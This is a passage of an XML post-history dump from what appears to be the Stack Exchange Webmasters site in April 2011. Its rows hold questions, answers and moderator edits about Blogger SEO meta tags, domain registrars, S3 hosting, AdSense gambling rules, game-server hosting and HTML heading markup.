data:blog.homepageUrl'&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;meta content='Easy hide ip,Ways to hide your IP,Surf Anonymously,Change your IP to USA UK IP address,Hide easy IP,Free IP:PORT proxies,Reasons Why you should hide your IP,ways to change your ip,Anonymous Mails' name='keywords'/&gt;&#xD;&#xA;    &lt;meta content='Ways to hide your IP How you can hide your IP softwares to hide your IP' name='description'/&gt;&#xD;&#xA;    &lt;/b:if&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;link href='http://1.bp.blogspot.com/-ijFBALMPxng/TbAXA-vbmQI/AAAAAAAAADU/JOrSdLPkNiM/s1600/easy%2Bhidei%2Bip.ico' rel='shortcut icon' type='image/vnd.microsoft.icon'/&gt;&#xD;&#xA;        &lt;b:skin&gt;&lt;![CDATA[&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't have much information about Blogger SEO but can anybody please tell me if  i am making any mistake in the meta tags or any improvement so which i can do to make it search engine friendly.&#xD;&#xA;&#xD;&#xA;I just checked [this link][3] but could not understand how is it useful to me.&#xD;&#xA;&#xD;&#xA;Please guide me.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Sangram Nandkhile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://easyhideip.blogspot.com/&#xD;&#xA;  [2]: http://easyhideip.blogspot.com&#xD;&#xA;  [3]: http://www.mahigrafix.com/how-to-add-google-meta-tag-to-your-website.html" />
  <row Id="29505" PostHistoryTypeId="1" PostId="12880" RevisionGUID="f4fe7293-1390-497d-a239-6860a0e7a515" CreationDate="2011-04-25T11:18:50.087" UserId="7074" Text="Help for my blog regarding SEO" />
  <row Id="29506" PostHistoryTypeId="3" PostId="12880" RevisionGUID="f4fe7293-1390-497d-a239-6860a0e7a515" CreationDate="2011-04-25T11:18:50.087" UserId="7074" Text="&lt;seo&gt;&lt;blogger&gt;&lt;meta-description&gt;&lt;meta-keywords&gt;" />
  <row Id="29507" PostHistoryTypeId="10" PostId="12880" RevisionGUID="85f237ed-2a87-4596-90c3-4a28390d3568" CreationDate="2011-04-25T11:43:00.960" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29508" PostHistoryTypeId="5" PostId="12874" RevisionGUID="eb1b98f5-9e47-49cf-8807-158108afa8de" CreationDate="2011-04-25T11:46:01.427" UserId="1253" Comment="Removed self promotional links" Text="There no more difference between both GeoTrust and RapidSSL because there are common purpose for secure your website data by SSL Certificate.&#xD;&#xA;&#xD;&#xA;But RapidSSL is for entry level website certificate and GeoTrust is for make a confidence to customer that their data is secure under ssl certificate.&#xD;&#xA;&#xD;&#xA;When you buy it from official site it is very expensive but if you choose from reseller than you get same ssl certificate @ very low prices.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29509" PostHistoryTypeId="25" PostId="12876" RevisionGUID="1f819c8f-0f3d-4e17-8e2a-e046621baff5" CreationDate="2011-04-25T12:09:17.707" Comment="http://twitter.com/#!/StackWebmasters/status/62488348580786176" />
  <row Id="29510" PostHistoryTypeId="2" PostId="12881" RevisionGUID="29c36549-ceb7-46cb-9b9c-77c1fc143724" CreationDate="2011-04-25T12:19:17.477" UserId="3312" Text="For a number of reasons I'm thinking about slowly moving my domains away from GoDaddy.  Unfortunately I don't know of a good alternative, and am looking for a recommendation.&#xD;&#xA;&#xD;&#xA;To match what I currently use godaddy for it would have to offer:&#xD;&#xA;&#xD;&#xA;- Full control over domains via web interface&#xD;&#xA;- DNS service with web control interface. (preferably free, or reasonably priced)&#xD;&#xA;- Private domain registrations (i.e anonymous whois data)&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="29511" PostHistoryTypeId="1" PostId="12881" RevisionGUID="29c36549-ceb7-46cb-9b9c-77c1fc143724" CreationDate="2011-04-25T12:19:17.477" UserId="3312" Text="Alternative to GoDaddy?" />
  <row Id="29512" PostHistoryTypeId="3" PostId="12881" RevisionGUID="29c36549-ceb7-46cb-9b9c-77c1fc143724" CreationDate="2011-04-25T12:19:17.477" UserId="3312" Text="&lt;dns&gt;&lt;domain-names&gt;" />
  <row Id="29513" PostHistoryTypeId="2" PostId="12882" RevisionGUID="8859fa9f-2646-4fbe-9e49-364d762101df" CreationDate="2011-04-25T10:31:13.667" UserDisplayName="Jeevan Dongre" Text="I am developing an web application, I recently purchased the domain from godaddy.com and the domain is use google apps, for email, calendar docs and other services as well.&#xD;&#xA;Now I just need to show that&quot; my site is under construction&quot; I have a static page which is put on S3 now I need to map &quot;www.mydomain.com&quot; to that static page which is stored on s3. I am kinda of newbie/novice to this so kindly help me. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29514" PostHistoryTypeId="1" PostId="12882" RevisionGUID="8859fa9f-2646-4fbe-9e49-364d762101df" CreationDate="2011-04-25T10:31:13.667" UserDisplayName="Jeevan Dongre" Text="mapping naked domain (www.domain.com) to static website which is saved in s3" />
  <row Id="29515" PostHistoryTypeId="3" PostId="12882" RevisionGUID="8859fa9f-2646-4fbe-9e49-364d762101df" CreationDate="2011-04-25T10:31:13.667" UserDisplayName="Jeevan Dongre" Text="&lt;domains&gt;&lt;amazon-s3&gt;&lt;godaddy&gt;" />
  <row Id="29516" PostHistoryTypeId="17" PostId="12882" RevisionGUID="de5f4a27-d4ea-44ef-8cb2-26e71d67c304" CreationDate="2011-04-25T12:35:39.957" UserId="-1" Comment="from http://stackoverflow.com/questions/5777485/mapping-naked-domain-www-domain-com-to-static-website-which-is-saved-in-s3" Text="" />
  <row Id="29517" PostHistoryTypeId="5" PostId="12869" RevisionGUID="3612bae0-eaa1-435a-bd99-d151ee4e9ee6" CreationDate="2011-04-25T13:08:38.917" UserId="1583" Comment="Changed title and content to improve the question to be less argumentative/subjective" Text="I've run a website since 2001 with betting sites adverts for most of that time and Google Adsense for many years as well.  Five or six years ago I was generating £100-£200 per month from Google, but this has fallen by over 90% subsequently - people don't click them, basically!  So the following isn't a disaster.&#xD;&#xA;&#xD;&#xA;Anyway, on 18 April I got an email giving me 72 hours to remove all betting adverts and betting related content or Google Adsense would be disabled from the site:&#xD;&#xA;&#xD;&#xA;&gt; VIOLATION(S) FOUND:&#xD;&#xA;&gt; &#xD;&#xA;&gt; GAMBLING: As stated in our program&#xD;&#xA;&gt; policies, AdSense publishers are not&#xD;&#xA;&gt; permitted to place Google ads on sites&#xD;&#xA;&gt; with content related to gambling or&#xD;&#xA;&gt; casinos. This policy includes driving&#xD;&#xA;&gt; traffic to online gambling sites&#xD;&#xA;&gt; through links or advertisements. More&#xD;&#xA;&gt; information about this policy can be&#xD;&#xA;&gt; found in our help center&#xD;&#xA;&#xD;&#xA;Their 'review' of websites seems to be a direct result of the FBI action on 15 April, so advertising and content that I've had (and submitted to Google Search) is no longer acceptable after several years with no complaints.&#xD;&#xA;&#xD;&#xA;**Does anyone have a constructive workaround that may satisfy Google without affecting my long-standing advertising policy?**&#xD;&#xA;" />
  <row Id="29518" PostHistoryTypeId="4" PostId="12869" RevisionGUID="3612bae0-eaa1-435a-bd99-d151ee4e9ee6" CreationDate="2011-04-25T13:08:38.917" UserId="1583" Comment="Changed title and content to improve the question to be less argumentative/subjective" Text="Google Adsense / Gambling workaround" />
  <row Id="29519" PostHistoryTypeId="11" PostId="12869" RevisionGUID="8c20ffb0-e24e-4002-b79e-5f884a099710" CreationDate="2011-04-25T13:23:06.030" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29520" PostHistoryTypeId="2" PostId="12883" RevisionGUID="2d53eeeb-740d-4c09-a5d5-3b5574d0542c" CreationDate="2011-04-25T13:25:48.213" UserId="6353" Text="[Dreamhost][1] and [HostGator][2] will likely fit the bill.  At the moment, I am experiencing better performance and service with HostGator.  Both are reasonably priced and offer the features that you are looking for.  HostGator has a sale through the end of the month that you can reach through this **[clearly marked affiliate link][3]**, or through the plain link in the first sentence.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com&#xD;&#xA;  [2]: http://www.hostgator.com&#xD;&#xA;  [3]: http://www.sixfourweb.com/recommends/hostgator" />
  <row Id="29521" PostHistoryTypeId="5" PostId="12883" RevisionGUID="b6d46ea8-8635-4369-8062-4e6abbced382" CreationDate="2011-04-25T13:33:57.167" UserId="1253" Comment="Affiliate link removed" Text="[Dreamhost][1] and [HostGator][2] will likely fit the bill.  At the moment, I am experiencing better performance and service with HostGator.  Both are reasonably priced and offer the features that you are looking for.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com&#xD;&#xA;  [2]: http://www.hostgator.com" />
  <row Id="29522" PostHistoryTypeId="2" PostId="12884" RevisionGUID="551ef342-b987-4cdf-9ac6-585596736fda" CreationDate="2011-04-25T14:06:43.030" UserId="3461" Text="If you ask for domains, as it seems, [Enom][1], [Namecheap][2], [Internet.bs][3] are other options, and they've got good reputation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.enom.com&#xD;&#xA;  [2]: http://www.namecheap.com&#xD;&#xA;  [3]: http://www.internetbs.net" />
  <row Id="29523" PostHistoryTypeId="5" PostId="12859" RevisionGUID="7030a573-c55e-4afa-809a-5775fca98470" CreationDate="2011-04-25T14:23:16.727" UserId="6389" Comment="gave wrong command. changed LFT to MTR" Text="Q. What is my best option here. I have no idea what kind of interface I will get if I purchase a windows hosting. I have only worked on Linux hostings, interacted using cpanel etc.  &#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila2 install. you will administer the server by remote desktop.&#xD;&#xA;Q. Is it possible to just purchase a windows hosting and then install games myself, do any authentication I want?  &#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;Q. Additionally, I am also looking some web space to host my personal projects...  &#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations.  &#xD;&#xA;&#xD;&#xA;Presumably your reason for wanting to host in India is for lower latency to the server, make sure you test this. get a sample ip from the host and ping (or better traceroute/mtr) from as many locations as possible. It seems there are a couple of intertnet exchanges in India but you will want to make sure traffic is not going to the US and back for example.  &#xD;&#xA;&#xD;&#xA;I would definatly contact a company that runs games servers and ask them about the realistic hosting requirements for COD, although my guess is a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can mov quikly if needed.CPU resources on a VPS will be hrd to guage unless you try before you buy and may change as they add usrs to the node.  &#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculaions, also his is unlikely to be hosted in India.  &#xD;&#xA;&#xD;&#xA;If your game server applicaion has no authentication built in then you could just use a firewall to control access add and rmeoving ip's as needed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29524" PostHistoryTypeId="5" PostId="12859" RevisionGUID="c081dd5e-bfed-4119-add5-fb011bc88d96" CreationDate="2011-04-25T14:25:26.493" UserId="1253" Comment="added 32 characters in body" Text="&gt; Q. What is my best option here. I have&#xD;&#xA;&gt; no idea what kind of interface I will&#xD;&#xA;&gt; get if I purchase a windows hosting. I&#xD;&#xA;&gt; have only worked on Linux hostings,&#xD;&#xA;&gt; interacted using cpanel etc.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila2 install. you will administer the server by remote desktop.&#xD;&#xA;&#xD;&#xA;&gt; Q. Is it possible to just purchase a&#xD;&#xA;&gt; windows hosting and then install games&#xD;&#xA;&gt; myself, do any authentication I want?&#xD;&#xA;&#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;&#xD;&#xA;&gt; Q. Additionally, I am also looking&#xD;&#xA;&gt; some web space to host my personal&#xD;&#xA;&gt; projects...&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations.  &#xD;&#xA;&#xD;&#xA;Presumably your reason for wanting to host in India is for lower latency to the server, make sure you test this. get a sample ip from the host and ping (or better traceroute/mtr) from as many locations as possible. It seems there are a couple of intertnet exchanges in India but you will want to make sure traffic is not going to the US and back for example.  &#xD;&#xA;&#xD;&#xA;I would definatly contact a company that runs games servers and ask them about the realistic hosting requirements for COD, although my guess is a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can mov quikly if needed.CPU resources on a VPS will be hrd to guage unless you try before you buy and may change as they add usrs to the node.  &#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculaions, also his is unlikely to be hosted in India.  &#xD;&#xA;&#xD;&#xA;If your game server applicaion has no authentication built in then you could just use a firewall to control access add and rmeoving ip's as needed. " />
  <row Id="29525" PostHistoryTypeId="2" PostId="12885" RevisionGUID="f1b1ab97-d4a5-4e52-8ef7-f83beafcaa4b" CreationDate="2011-04-25T14:30:48.250" UserId="2125" Text="I like [pairnic](http://pairnic) personally." />
  <row Id="29526" PostHistoryTypeId="5" PostId="12873" RevisionGUID="0659ecd0-07f5-40ed-b12a-01c9b9feafc7" CreationDate="2011-04-25T14:31:47.890" UserId="3461" Comment="deleted 3 characters in body" Text="For Firefox, you also have [Webdeveloper][1] extension.&#xD;&#xA;Now I read in a comment from you that you need to fix in IE6. You can then check in this site, has support for all IEs, including 6: http://ipinfo.info/netrenderer/ (Edit: Sorry, this is actually a viewing/checking system, see other options in the bellow paragraph)&#xD;&#xA;&#xD;&#xA;But also, there's another option that works just fine for me, for the cases you wish not to share or need different functionality, [IE Tester][2], is actually a freeware software you install. For testing and fixing IE 7 and above, I find better just install IE 9 and use its developing tools, set in them both the browser and browser mode (for instance, IE 7 and IE 7 Standard mode) , which is *not* setting the page in compatibility mode (done outside IE developer tools) , as that one wont trigger IE7 issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="29527" PostHistoryTypeId="2" PostId="12886" RevisionGUID="9847c2ac-a879-47ab-95a5-361cca5aa370" CreationDate="2011-04-24T19:32:33.073" UserDisplayName="hultas" Text="When I have modified my forum (changed some code in overall-header.html etc) I obviously want to clear the cache (via the ACP) so the changes will be updated and shown.&#xD;&#xA;&#xD;&#xA;Sometimes when I clear the cache (example: after I've tried to install ReIMG Image Resizer-mod) the forum width bugs out and suddenly becomes 100% instead of a fixed px amount.&#xD;&#xA;&#xD;&#xA;Why is this?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="29528" PostHistoryTypeId="1" PostId="12886" RevisionGUID="9847c2ac-a879-47ab-95a5-361cca5aa370" CreationDate="2011-04-24T19:32:33.073" UserDisplayName="hultas" Text="Why does this happen with my phpbb3-forum?" />
  <row Id="29529" PostHistoryTypeId="3" PostId="12886" RevisionGUID="9847c2ac-a879-47ab-95a5-361cca5aa370" CreationDate="2011-04-24T19:32:33.073" UserDisplayName="hultas" Text="&lt;forum&gt;&lt;bugs&gt;" />
  <row Id="29530" PostHistoryTypeId="17" PostId="12886" RevisionGUID="983fdab6-4233-41fd-b1fa-4c6cdc674647" CreationDate="2011-04-25T14:35:51.660" UserId="-1" Comment="from http://stackoverflow.com/questions/5772721/why-does-this-happen-with-my-phpbb3-forum" Text="" />
  <row Id="29531" PostHistoryTypeId="2" PostId="12887" RevisionGUID="a9d4b4a4-2398-4223-a9d7-47d188f6433e" CreationDate="2011-04-25T14:48:19.463" UserId="6282" Text="GoDaddy and other, similar domain-auction sites look at the traffic arriving at their domains to determine if they're worthwhile additions to their portfolio.  &#xD;&#xA;&#xD;&#xA;If the domain you're interested in is still driving traffic, it may be in their interest to renew the domain before (or shortly after) it expires.  If this is the case, you'll miss out even if no one else has bidded.&#xD;&#xA;&#xD;&#xA;How important is the domain to you?  If it's important, I'd be inclined to put in a nominal bid for it.  Of course, if you're talking about more than $100, it might be worth waiting and seeing if they renew.  &#xD;&#xA;&#xD;&#xA;Only you can decide how important the domain is to you (or your business)." />
  <row Id="29532" PostHistoryTypeId="25" PostId="12881" RevisionGUID="d55c2249-2748-4e4f-8c8e-e0e44c2cbcc2" CreationDate="2011-04-25T15:09:17.833" Comment="http://twitter.com/#!/StackWebmasters/status/62533646594224128" />
  <row Id="29533" PostHistoryTypeId="2" PostId="12888" RevisionGUID="dc472d8d-0347-4878-9ee4-f1003b2f691a" CreationDate="2011-04-25T15:16:04.753" UserId="6858" Text="It might help answer the question if we know at least some of the reasons why you're moving. Is it performance, the user-interface, customer service? There are 1000s of domain registrars offering all these services, so it helps to know your specific reasons why GoDaddy doesn't fit the bill.&#xD;&#xA;&#xD;&#xA;1. What do you mean by 'full control'? What are you trying to do?&#xD;&#xA;2. You can separate your DNS management with something like [Microtech](http://www.mtgsy.net/). They have a very flexible price structure.&#xD;&#xA;3. Lots of registrars offer this, although many use DomainsByProxy, which is owned by GoDaddy. If your beef is with GoDaddy the company, this might therefore not be a solution. Both 123-reg.co.uk and NetworkSolutions.com offer their own service." />
  <row Id="29534" PostHistoryTypeId="5" PostId="12887" RevisionGUID="d23f09b6-1268-4e22-a572-c991e991a943" CreationDate="2011-04-25T15:22:46.980" UserId="6282" Comment="deleted 2 characters in body" Text="GoDaddy and other, similar domain-auction sites look at the traffic arriving at their domains to determine if they're worthwhile members to their portfolio.  &#xD;&#xA;&#xD;&#xA;If the domain you're interested in is still driving traffic, it may be in their interest to renew the domain before (or shortly after) it expires.  If this is the case, you'll miss out even if no one else has bidded.&#xD;&#xA;&#xD;&#xA;How important is the domain to you?  If it's important, I'd be inclined to put in a nominal bid for it.  Of course, if you're talking about more than $100, it might be worth waiting and seeing if they renew.  &#xD;&#xA;&#xD;&#xA;Only you can decide how important the domain is to you (or your business)." />
  <row Id="29535" PostHistoryTypeId="5" PostId="12880" RevisionGUID="f7daa1bc-72d7-4442-9c74-0747a79827cf" CreationDate="2011-04-25T16:11:50.937" UserId="1253" Comment="Removed link to blog. Possible affiliate link farm." Text="i have started working on the new blog  in my BLOGGER account and i have added just 3 posts in it. But when i try searching in Google &amp; bing by its name and it never comes in the search result.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have already submitted my blog to Google and Bing. I waited for 2-3 days for Google bots to crawl my blog and show it is in the result but i can not see any change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Even if i try searching in google entering &quot;**easyhideip.blogspot**.&quot;,i can not see any of my blog post.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As we know there is no direct provision in BLOGGER to add meta tags so i hav added the meta tags in the blogger like this..&#xD;&#xA;&#xD;&#xA;    &lt;meta content='....' name='keywords' /&gt;&#xD;&#xA;    &lt;meta content='....' name='Description' /&gt;&#xD;&#xA;&#xD;&#xA;I have posted few lines of my blog's template here..&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'&gt;&#xD;&#xA;      &lt;head&gt;&#xD;&#xA;    &lt;script src='http://platform.twitter.com/widgets.js' type='text/javascript'&gt;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;        &lt;b:include data='blog' name='all-head-content'/&gt;&#xD;&#xA;        &lt;b:if cond='data:blog.pageType == &amp;quot;index&amp;quot;'&gt;&#xD;&#xA;    &lt;title&gt;&lt;data:blog.pageTitle/&gt;&lt;/title&gt;&#xD;&#xA;    &lt;b:else/&gt;&#xD;&#xA;    &lt;title&gt;&lt;data:blog.pageName/&gt; ~ &lt;data:blog.title/&gt;&lt;/title&gt;&#xD;&#xA;    &lt;/b:if&gt;&#xD;&#xA;    &lt;link href='mailto:YOUR MAIL ID' rev='made'/&gt;&#xD;&#xA;    &lt;b:if cond='data:blog.url == data:blog.homepageUrl'&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;meta content='Easy hide ip,Ways to hide your IP,Surf Anonymously,Change your IP to USA UK IP address,Hide easy IP,Free IP:PORT proxies,Reasons Why you should hide your IP,ways to change your ip,Anonymous Mails' name='keywords'/&gt;&#xD;&#xA;    &lt;meta content='Ways to hide your IP How you can hide your IP softwares to hide your IP' name='description'/&gt;&#xD;&#xA;    &lt;/b:if&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;link href='http://1.bp.blogspot.com/-ijFBALMPxng/TbAXA-vbmQI/AAAAAAAAADU/JOrSdLPkNiM/s1600/easy%2Bhidei%2Bip.ico' rel='shortcut icon' type='image/vnd.microsoft.icon'/&gt;&#xD;&#xA;        &lt;b:skin&gt;&lt;![CDATA[&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't have much information about Blogger SEO but can anybody please tell me if  i am making any mistake in the meta tags or any improvement so which i can do to make it search engine friendly.&#xD;&#xA;&#xD;&#xA;I just checked [this link][3] but could not understand how is it useful to me.&#xD;&#xA;&#xD;&#xA;Please guide me.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Sangram Nandkhile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [3]: http://www.mahigrafix.com/how-to-add-google-meta-tag-to-your-website.html" />
  <row Id="29536" PostHistoryTypeId="17" PostId="12890" RevisionGUID="5064566f-e70d-46ef-85b2-87b603a450dd" CreationDate="2011-04-25T16:26:35.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5774637/hosting-suggestions-instead-of-google-app-engine/5774779#5774779" Text="" />
  <row Id="29537" PostHistoryTypeId="2" PostId="12890" RevisionGUID="8ff12499-f05b-4bbb-9ba0-471d92619741" CreationDate="2011-04-25T02:59:21.913" UserDisplayName="Chris Kaminski" Text="I've looked.  You're looking at $40/m for a basic Tomcat instance (128M-512M RAM), to $100/m for full J2EE stack (1GB RAM).  You might be better off getting a dedicated server, which is what I have for the sort of things I can't use GAE for (things that need long-lived socket connections, for example)." />
  <row Id="29538" PostHistoryTypeId="2" PostId="12889" RevisionGUID="fd9935fd-e751-4c11-9e13-a50214539b00" CreationDate="2011-04-25T02:15:50.993" UserDisplayName="pictureyournews" Text="The problem is the following:&#xD;&#xA;I made an EJB+JPA+GWT webpage wich uses GWT for the visual layer, EJBs for the service layer and JPA for interacting with the database layer.&#xD;&#xA;&#xD;&#xA;Im was wondering if there was a way to host my website in the Google app engine (GAE)&#xD;&#xA;but then i learned that GAE doesnt support EJB´s so i was wondering if anyone knew of &#xD;&#xA;a cheap solution for hosting a web page that uses GWT+GAE+JPA." />
  <row Id="29539" PostHistoryTypeId="1" PostId="12889" RevisionGUID="fd9935fd-e751-4c11-9e13-a50214539b00" CreationDate="2011-04-25T02:15:50.993" UserDisplayName="pictureyournews" Text="Hosting suggestions instead of Google App Engine" />
  <row Id="29540" PostHistoryTypeId="3" PostId="12889" RevisionGUID="fd9935fd-e751-4c11-9e13-a50214539b00" CreationDate="2011-04-25T02:15:50.993" UserDisplayName="pictureyournews" Text="&lt;google-app-engine&gt;&lt;websites&gt;&lt;web-hosting&gt;" />
  <row Id="29541" PostHistoryTypeId="17" PostId="12889" RevisionGUID="18ee76ac-9e39-4ca7-93b2-63d66d5c78ff" CreationDate="2011-04-25T16:26:35.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5774637/hosting-suggestions-instead-of-google-app-engine" Text="" />
  <row Id="29542" PostHistoryTypeId="6" PostId="12889" RevisionGUID="0947b6be-5327-49ba-ae76-692c6e70c969" CreationDate="2011-04-25T16:28:40.990" UserId="1253" Comment="added &quot;looking-for-hosting &quot; tag" Text="&lt;web-hosting&gt;&lt;websites&gt;&lt;looking-for-hosting&gt;&lt;google-app-engine&gt;" />
  <row Id="29543" PostHistoryTypeId="2" PostId="12891" RevisionGUID="8fb09b23-2740-4818-8c9c-721d3ef77dca" CreationDate="2011-04-25T17:05:53.670" UserId="6033" Text="I know you're supposed to use rel=&quot;nofollow&quot; on outgoing ads, to keep from passing link juice, but what about internal ads? We have a number of links with pictures that I consider as ads to other parts of our site (usually to a sub-domain). Should I rel=&quot;nofollow&quot; them? With google's most recent algorithm change this month, I feel like some things have changed. " />
  <row Id="29544" PostHistoryTypeId="1" PostId="12891" RevisionGUID="8fb09b23-2740-4818-8c9c-721d3ef77dca" CreationDate="2011-04-25T17:05:53.670" UserId="6033" Text="Use rel=&quot;nofollow&quot; on internal ads?" />
  <row Id="29545" PostHistoryTypeId="3" PostId="12891" RevisionGUID="8fb09b23-2740-4818-8c9c-721d3ef77dca" CreationDate="2011-04-25T17:05:53.670" UserId="6033" Text="&lt;seo&gt;&lt;ads&gt;&lt;nofollow&gt;" />
  <row Id="29546" PostHistoryTypeId="2" PostId="12892" RevisionGUID="3e3354c7-2f3f-4315-965e-62168d019023" CreationDate="2011-04-25T17:11:36.587" UserId="6858" Text="No, you should always avoid using use `rel=&quot;nofollow&quot;` on internal links. Matt Cutts [wrote about this](http://www.mattcutts.com/blog/pagerank-sculpting/) a while back.&#xD;&#xA;&#xD;&#xA;Of course, things might change in the future, but as of today, that's Google's advice." />
  <row Id="29547" PostHistoryTypeId="25" PostId="12891" RevisionGUID="980a3d39-40a8-4341-8cbd-6cbe24370214" CreationDate="2011-04-25T18:09:17.547" Comment="http://twitter.com/#!/StackWebmasters/status/62578944305664000" />
  <row Id="29548" PostHistoryTypeId="2" PostId="12893" RevisionGUID="57ac8890-77b4-4413-aa5e-aa790f6859fe" CreationDate="2011-04-25T18:16:46.570" UserDisplayName="Tony" Text="I'm laying out the structure of my page like this:&#xD;&#xA;&#xD;&#xA;    &lt;hgroup&gt;&#xD;&#xA;    	&lt;h1&gt;Heading One&lt;/h1&gt;&#xD;&#xA;    	&lt;h2&gt;Tagline&lt;/h2&gt;&#xD;&#xA;    &lt;/hgroup&gt;&#xD;&#xA;&#xD;&#xA;And while I don't have a tagline per se, I have a short description about the company that totals up to 22 words. Should I put this in the h2, or should I drop the hgroup altogether and use put the description in a paragraphy? this is all going on in a &lt; header&gt; by the way." />
  <row Id="29549" PostHistoryTypeId="1" PostId="12893" RevisionGUID="57ac8890-77b4-4413-aa5e-aa790f6859fe" CreationDate="2011-04-25T18:16:46.570" UserDisplayName="Tony" Text="Are 22 words too many for an h2 tag?" />
  <row Id="29550" PostHistoryTypeId="3" PostId="12893" RevisionGUID="57ac8890-77b4-4413-aa5e-aa790f6859fe" CreationDate="2011-04-25T18:16:46.570" UserDisplayName="Tony" Text="&lt;html&gt;" />
  <row Id="29551" PostHistoryTypeId="17" PostId="12893" RevisionGUID="6ccc69b7-626f-4aac-b990-9dd3f94546f5" CreationDate="2011-04-25T18:21:21.720" UserId="-1" Comment="from http://stackoverflow.com/questions/5781567/are-22-words-too-many-for-an-h2-tag" Text="" />
  <row Id="29552" PostHistoryTypeId="2" PostId="12894" RevisionGUID="4fbc9d86-bdb3-4341-b7ee-b7368e2965fb" CreationDate="2011-04-25T18:27:13.273" UserId="1253" Text="Put the content in a paragraph. That's what paragraphs are for. The h2 should be a section's heading which is a concise summary of what the next content will be about.&#xD;&#xA;&#xD;&#xA;    &lt;h2&gt;About Company Name&lt;/h2&gt;&#xD;&#xA;    &lt;p&gt;&#xD;&#xA;      This is twenty two words that describes our company. It is in a paragraph because it is content and not a heading.&#xD;&#xA;    &lt;/p&gt;" />
  <row Id="29553" PostHistoryTypeId="5" PostId="12894" RevisionGUID="d3f19770-7439-41a1-a1fd-4583b98393af" CreationDate="2011-04-25T18:35:08.013" UserId="1253" Comment="added 681 characters in body" Text="Put the content in a paragraph. That's what paragraphs are for. The h2 should be a section's heading which is a concise summary of what the next content will be about.&#xD;&#xA;&#xD;&#xA;    &lt;h2&gt;About Company Name&lt;/h2&gt;&#xD;&#xA;    &lt;p&gt;&#xD;&#xA;      This is twenty two words that describes our company. It is in a paragraph because it is content and not a heading.&#xD;&#xA;    &lt;/p&gt;&#xD;&#xA;&#xD;&#xA;`&lt;aside&gt;`Someone may post that this may appear as keyword stuffing to the search engines. I wouldn't worry about that. Twenty two words in a heading can happen naturally although it won't happen often. The worst thing that can happen is the keywords in the heading are diluted to the point of almost no value (or maybe even no value). So doing this for SEO purposes would not be beneficial. &#xD;&#xA;&#xD;&#xA;If you're doing it for styling purposes that's not how HTML should be used. Use it for structure and CSS for styling. Not only does it make your site easier to style but it helps with SEO as semantic markup helps the search engines understand what your content is about.&#xD;&#xA;`&lt;/aside&gt;`" />
  <row Id="29554" PostHistoryTypeId="2" PostId="12895" RevisionGUID="2b8e24c5-7609-4f44-86bf-1f7b00d130b1" CreationDate="2011-04-25T18:37:33.363" UserId="132" Text="It's the actual content that matters to search engines - the presence or lack of a stylesheet shouldn't make any real difference. A possible exception being if JavaScript is used to make significant changes to the markup, which the SEs would not pick up on. That aside, I can't see what difference it makes." />
